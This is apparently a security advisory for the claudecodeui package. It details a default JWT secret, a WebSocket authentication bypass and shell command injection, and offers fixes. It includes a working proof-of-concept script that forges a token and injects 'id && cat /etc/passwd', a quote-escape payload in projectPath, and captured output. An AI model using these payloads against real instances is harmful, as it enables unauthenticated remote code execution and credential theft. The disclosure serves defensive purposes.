@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

Download: cve_claudecodeui_submission_v2.zip

 Submission Info

Summary

Three chained vulnerabilities allow unauthenticated remote code execution on any claudecodeui instance running with default configuration. No account, credentials, or prior access is required.

The root cause of RCE is OS command injection (CWE-78) in the WebSocket shell handler. Authentication is bypassed by combining an insecure default JWT secret (CWE-1188) with a WebSocket authentication function that skips database user validation (CWE-287).

Vulnerability Details

1. Insecure Default JWT Secret — CWE-1188

File: server/middleware/auth.js, line 6

const JWT_SECRET = process.env.JWT_SECRET || 'claude-ui-dev-secret-change-in-production';

The server uses an environment variable for JWT_SECRET, but falls back to a well-known default value when the variable is not set. Critically, JWT_SECRET is not included in .env.example, so the majority of users deploy without setting it, leaving the fallback value in effect.

Since this default string is published verbatim in the public source code, any attacker can use it to sign arbitrary JWT tokens.

2. WebSocket Authentication Skips Database Validation — CWE-287

File: server/middleware/auth.js, lines 82–108

authenticateWebSocket() only verifies the JWT signature. It does not check whether the userId in the payload actually exists in the database — unlike authenticateToken() which is used for REST endpoints and does perform this check:

// authenticateWebSocket() — VULNERABLE
const decoded = jwt.verify(token, JWT_SECRET);
return decoded;  // ← userId never verified against DB

// authenticateToken() — CORRECT (REST endpoints)
const decoded = jwt.verify(token, JWT_SECRET);
const user = userDb.getUserById(decoded.userId);  // ← DB check present
if (!user) return res.status(401)...

A forged token with a non-existent userId passes WebSocket authentication, bypassing access control entirely.

3. OS Command Injection via WebSocket Shell — CWE-78

File: server/index.js, line 1179

shellCommand = `cd "${projectPath}" && ${initialCommand}`;

Both projectPath and initialCommand are taken directly from the WebSocket message payload and interpolated into a bash command string without any sanitization, enabling arbitrary OS command execution.

A secondary injection vector exists at line 1257 via unsanitized sessionId:

shellCommand = `cd "${projectPath}" && claude --resume ${sessionId} || claude`;

Proof of Concept

Requirements: Node.js, jsonwebtoken, ws

import jwt from 'jsonwebtoken';
import WebSocket from 'ws';

// Step 1: Sign a token with the publicly known default secret
const token = jwt.sign(
  { userId: 1337, username: 'attacker' },
  'claude-ui-dev-secret-change-in-production'
);

// Step 2: Connect to /shell WebSocket — auth passes because
//         authenticateWebSocket() does not verify userId in DB
const ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);

ws.on('open', () => {
  // Step 3: initialCommand is injected directly into bash
  ws.send(JSON.stringify({
    type: 'init',
    projectPath: '/tmp',
    initialCommand: 'id && cat /etc/passwd',
    isPlainShell: true,
    hasSession: false
  }));
});

ws.on('message', (data) => {
  const msg = JSON.parse(data);
  if (msg.type === 'output') process.stdout.write(msg.data);
});

Actual output observed during testing:

uid=1001(user) gid=1001(user) groups=1001(user),27(sudo)
ubuntu
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Secondary vector — projectPath double-quote escape injection

ws.send(JSON.stringify({
  type: 'init',
  projectPath: '" && id && echo "pwned" # ',
  provider: 'claude',
  hasSession: false
}));
// Server executes: cd "" && id && echo "pwned" # " && claude
// Output: uid=1001... / pwned

Additional Findings

Impact

Any claudecodeui instance accessible over the network where JWT_SECRET is not explicitly configured (the default case, as it is absent from .env.example) is vulnerable to:

• Full OS command execution as the server process user
• File system read/write access
• Credential theft (SSH keys, .env files, API keys stored on the host)
• Lateral movement within the host network

The attack requires zero authentication and succeeds immediately after default installation.

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

// server/middleware/auth.js
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
  console.error('[FATAL] JWT_SECRET environment variable must be set');
  process.exit(1);
}

Also add JWT_SECRET= to .env.example with a clear instruction to set a strong random value.

Fix 2 — Add DB user existence check in WebSocket authentication

const authenticateWebSocket = (token) => {
  if (!token) return null;
  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    const user = userDb.getUserById(decoded.userId); // ← add
    if (!user) return null;                          // ← add
    return user;
  } catch (error) {
    return null;
  }
};

Fix 3 — Replace shell string interpolation with spawn argument array

// Instead of:
const shellProcess = pty.spawn('bash', ['-c', `cd "${projectPath}" && ${initialCommand}`], ...);

// Use:
const shellProcess = pty.spawn(initialCommand.split(' ')[0], initialCommand.split(' ').slice(1), {
  cwd: projectPath  // pass path as cwd, not shell string
});

Fix 4 — Additional hardening

• Add expiresIn: '24h' to generateToken()
• Restrict CORS to specific trusted origins
• Rate-limit and restrict /api/auth/register to localhost on initial setup

Timeline

Researcher

Ethan-Yang — OPCIA